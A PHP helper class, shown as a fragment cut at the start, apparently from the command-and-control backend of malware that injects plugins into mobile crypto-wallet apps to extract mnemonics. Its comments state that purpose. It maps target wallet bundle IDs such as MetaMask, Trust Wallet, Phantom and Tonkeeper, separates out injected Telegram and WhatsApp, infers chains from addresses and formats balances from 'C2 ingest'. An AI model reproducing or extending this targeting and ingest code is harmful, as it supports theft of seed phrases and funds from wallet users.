*/ private const TAGS = [ 'b' => 'imToken', 'b1' => 'imToken', 'p' => 'Global Wallet', 'd' => 'Trust Wallet', 'r' => 'Bitpie', 'q' => 'Coin98', 'e' => 'Coinbase Wallet', 'k' => 'Exodus', 'm' => 'Krystal', 'a' => 'MetaMask', 'a1' => 'MetaMask', 'j' => 'MyTonWallet', 'i' => 'Phantom', 'l' => 'Ronin', 'n' => 'Tonhub', 'g' => 'Tonkeeper', 'h' => 'Uniswap', 'h1' => 'Uniswap', 't' => 'OKX', 'c' => 'TronLink', 'f' => 'BitKeep', 's' => 'Solflare', 'tg' => 'Telegram', // lab / fixture aliases 'tp' => 'TokenPocket', 'im' => 'imToken', ]; /** * Display names for plugin wallet bundle IDs (mnemonic-capable). * * @var array */ private const BUNDLE_LABELS = [ 'im.token.app' => 'imToken', 'io.metamask' => 'MetaMask', 'io.metamask.MetaMask' => 'MetaMask', 'com.wallet.crypto.trustapp' => 'Trust Wallet', 'com.sixdays.trust' => 'Trust Wallet', 'com.okex.wallet' => 'OKX', 'com.okex.OKExAppstoreFull' => 'OKX', 'com.coinbase.wallet' => 'Coinbase Wallet', 'org.toshi.distribution' => 'Coinbase Wallet', 'com.exodus' => 'Exodus', 'exodus-movement.exodus' => 'Exodus', 'app.phantom' => 'Phantom', 'com.uniswap.mobile' => 'Uniswap', 'com.tronlinkpro.wallet' => 'TronLink', 'com.tronlink.hdwallet' => 'TronLink', 'com.mytonwallet.app' => 'MyTonWallet', 'org.mytonwallet.app' => 'MyTonWallet', 'com.tonhub.app' => 'Tonhub', 'com.tonkeeper.app' => 'Tonkeeper', 'com.jbig.tonkeeper' => 'Tonkeeper', 'vip.mytokenpocket' => 'TokenPocket', 'com.bitkeep.wallet' => 'BitKeep', 'com.bitkeep.os' => 'BitKeep', 'com.bitpie' => 'Bitpie', 'com.bitpie.wallet' => 'Bitpie', 'com.coin98' => 'Coin98', 'coin98.crypto.finance.insights' => 'Coin98', 'com.solflare.mobile' => 'Solflare', 'com.roninchain.wallet' => 'Ronin', 'com.skymavis.Genesis' => 'Ronin', 'com.krystal.wallet' => 'Krystal', 'com.kyrd.krystal.ios' => 'Krystal', 'com.global.wallet.ios' => 'Global Wallet', ]; /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */ private const NON_MNEMONIC_BUNDLES = [ 'ph.telegra.Telegraph', 'net.whatsapp.WhatsApp', ]; public static function fromTag(mixed $tag): string { if (! is_string($tag) || $tag === '') { return 'unknown'; } $key = strtolower(trim($tag)); return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag; } /** * True when this bundle is a business plugin that can extract a mnemonic. */ public static function isPluginWalletBundle(string $bundle): bool { $bundle = trim($bundle); if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) { return false; } if (isset(self::BUNDLE_LABELS[$bundle])) { return true; } $configured = config('coruna.wallet_bundles', []); return is_array($configured) && in_array($bundle, $configured, true) && ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true); } public static function labelForBundle(string $bundle, ?string $fallback = null): string { $bundle = trim($bundle); if (isset(self::BUNDLE_LABELS[$bundle])) { return self::BUNDLE_LABELS[$bundle]; } $fallback = trim((string) $fallback); return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown'); } /** * Chains we persist from C2 ingest (skip UNKNOWN / niche networks). * * @var list */ public const SUPPORTED_CHAINS = [ 'ETH', 'ETHEREUM', 'EVM', 'TRX', 'TRON', 'BTC', 'BITCOIN', 'SOL', 'SOLANA', 'BNB', 'BSC', 'BINANCE', 'TON', ]; public static function isSupportedChain(string $chainType): bool { return in_array(strtoupper(trim($chainType)), self::SUPPORTED_CHAINS, true); } /** * Infer chain type from address when plugin omits chainType. */ public static function inferChainType(string $address): string { $address = trim($address); if ($address === '') { return 'UNKNOWN'; } if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) { return 'ETHEREUM'; } if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) { return 'TRON'; } // Binance Chain / Beacon Chain bech32 (must precede Solana base58) if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) { return 'BSC'; } if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) { return 'BITCOIN'; } if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) { // Solana-like base58 return 'SOLANA'; } if (preg_match('/^EQ|^UQ/i', $address)) { return 'TON'; } return 'UNKNOWN'; } /** * Format raw on-chain integer by decimal; pass through already-decimal strings. */ public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string { if ($raw === null || $raw === '') { return 0; } $rawStr = trim((string) $raw); if ($rawStr === '') { return 0; } // Already human-readable (contains decimal point) — keep numeric value. if (str_contains($rawStr, '.')) { return self::normalizeNumber($rawStr); } if ($decimal === null || $decimal === '') { return self::normalizeNumber($rawStr); } $dec = (int) $decimal; if ($dec <= 0) { return self::normalizeNumber($rawStr); } if (! function_exists('bcdiv')) { $value = ((float) $rawStr) / (10 ** $dec); return self::normalizeNumber((string) $value); } $formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec); $formatted = rtrim(rtrim($formatted, '0'), '.'); if ($formatted === '' || $formatted === '-0') { $formatted = '0'; } return self::normalizeNumber($formatted); } private static function normalizeNumber(string $value): int|float|string { if (! is_numeric($value)) { return $value; } if (str_contains($value, '.')) { $f = (float) $value; return $f == (int) $f ? (int) $f : $f; } // large integers stay as string if beyond PHP int if (strlen(ltrim($value, '+-')) > 18) { return $value; } return (int) $value; } public static function nativeSymbolForChain(string $chainType): string { return match (strtoupper($chainType)) { 'TRON', 'TRX' => 'TRX', 'BITCOIN', 'BTC' => 'BTC', 'ETHEREUM', 'ETH', 'EVM' => 'ETH', 'SOLANA', 'SOL' => 'SOL', 'TON' => 'TON', 'BNB', 'BSC', 'BINANCE' => 'BNB', default => strtoupper($chainType) ?: 'UNKNOWN', }; } }